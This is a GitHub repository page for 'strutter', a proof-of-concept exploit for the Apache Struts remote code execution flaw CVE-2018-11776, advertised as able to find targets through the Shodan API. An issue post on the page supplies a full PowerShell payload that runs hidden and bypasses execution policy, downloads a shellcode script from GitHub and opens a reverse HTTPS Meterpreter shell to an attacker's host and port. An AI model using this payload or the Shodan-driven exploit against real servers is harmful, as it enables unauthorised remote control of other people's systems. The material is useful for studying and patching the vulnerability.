ekultek / strutter

Proof of Concept for CVE-2018-11776

Strutter

Proof of Concept for CVE-2018-11776, comes complete with the ability to search Shodan API for targets

CVE-2018-11776

Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when using results with no namespace and in same time, its upper action(s) have no or wildcard namespace. Same possibility when using url tag which doesn't have value and action set and in same time, its upper action(s) have no or wildcard namespace.

strutter's Issues

Fix for Reverse HTTP Meterpreter Payload.

Sup fam. I just realized the code for the meterpreter has an artifact of testing in it. The Socat invocation to be exact. the clean payload should look like this:

"Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost {0} -Lport {1}  -Force".format(LHOST, LPORT)